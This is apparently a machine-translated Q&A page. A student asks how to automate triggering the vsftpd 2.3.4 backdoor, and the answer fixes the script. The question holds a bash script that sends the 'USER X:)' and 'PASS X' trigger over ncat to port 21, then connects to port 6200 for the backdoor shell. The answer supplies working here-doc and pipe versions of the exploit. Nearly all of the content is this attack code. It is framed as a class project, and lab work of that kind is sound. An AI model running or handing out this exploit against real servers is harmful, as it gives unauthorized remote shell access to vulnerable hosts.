我在windows上使用cygwin来开发vsftp 2.3.4作为一个类项目,我知道如何做到这一点我实际上有我的shell代码如下(这是我第一次使用它)
!/usr/bin/bash
command1="ncat -v "$1" 21"
echo `$command1`
echo `USER X:)\r\nPASS X\r\n`
command2="ncat -v "$1" 6200"
echo `$command2`
所以我需要触发与用户x :)的连接然后它将在端口6200上打开shell。如果我手动输入终端然后输入“ncat -v ip 21 [enter] USER x: )[enter] PASS x [enter]“,我现在可以使用ctrl + C退出当前的shell脚本,然后输入”ncat -v ip 6200“开始利用。
问题是如果我运行上面的shell代码,它会在输入“PASS x”后挂起并且不会退出,因此下一代代码将不会被执行。 (除非我在终端中按c + + C然后它会再次开始运行)。
我希望使用Ctrl + C的过程是自动的,无论如何我能做到吗?
感谢您阅读
答案 0 :(得分:1)
使用here-doc为命令提供输入:
ncat -v "$1" 21 <<EOF
USER X:)
PASS X
EOF
ncat -v "$1" 6200
要在后台运行,请在&
之后添加<<EOF
:
ncat -v "$1" 21 <<EOF &
USER X:)
PASS X
EOF
您的脚本正在挂起,因为ncat
正在从连接到终端的标准输入读取,因此它正在等待您键入内容。在ncat
退出之前,它不会转到下一个命令。
如果你想使用echo
为命令提供输入,你必须管道它:
echo -e "USER X:)\r\nPASS X\r\n" | ncat -v "$1" 21